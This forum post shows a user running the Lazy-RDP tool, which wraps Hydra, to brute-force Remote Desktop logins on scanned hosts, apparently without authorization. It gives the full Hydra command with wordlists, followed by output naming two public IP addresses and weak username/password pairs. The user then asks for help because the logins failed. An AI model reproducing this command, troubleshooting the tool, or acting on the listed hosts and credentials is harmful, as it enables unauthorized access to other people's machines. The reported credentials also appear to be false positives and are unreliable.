Thread: [please suggest me about tool lazy-rdp bruteforce rdp](#)

vira - January 31, 2021, 11:15 am

Hello everyones

sorry can i have questions ? i got trouble when use tool lazy-rdp to scan rdp
i have downnload here

<https://github.com/getdrive/Lazy-RDP>

and test its worked on kali linux ,i have patient wait its finish scan , and its show result like that

Quote:# Hydra v9.2-dev run at 2021-01-31 13:20:46 on /root/tools/Lazy-RDP/open3389 rdp (hydra
-L /root/tools/Lazy-RDP/users -P /root/tools/Lazy-RDP/dict/pass -l -t 16 -vV -o result -M
/root/tools/Lazy-RDP/open3389 rdp)

```
[3389][rdp] host: 2.109.207.218 login: admin password: admin
[3389][rdp] host: 2.111.154.198 login: admin password: admin

[3389][rdp] host: 2.109.207.218 login: administrator password: 123456
[3389][rdp] host: 2.111.154.198 login: administrator password: 123456
[3389][rdp] host: 2.109.207.218 login: administrator password: admin
[3389][rdp] host: 2.109.207.218 login: administrator password: 123123
[3389][rdp] host: 2.111.154.198 login: administrator password: 123123
[3389][rdp] host: 2.111.154.198 login: user password: admin
[3389][rdp] host: 2.109.207.218 login: user password: admin
[3389][rdp] host: 2.111.154.198 login: user password: 123456
[3389][rdp] host: 2.109.207.218 login: user password: 123456
[3389][rdp] host: 2.109.207.218 login: user password: 123123
```

then i try login ,but all wrong pass or wrong username or both :D

i dont know this tool working correct or not ? or i have wrong somethings , please suggest me ,

way to fix
thank you so much
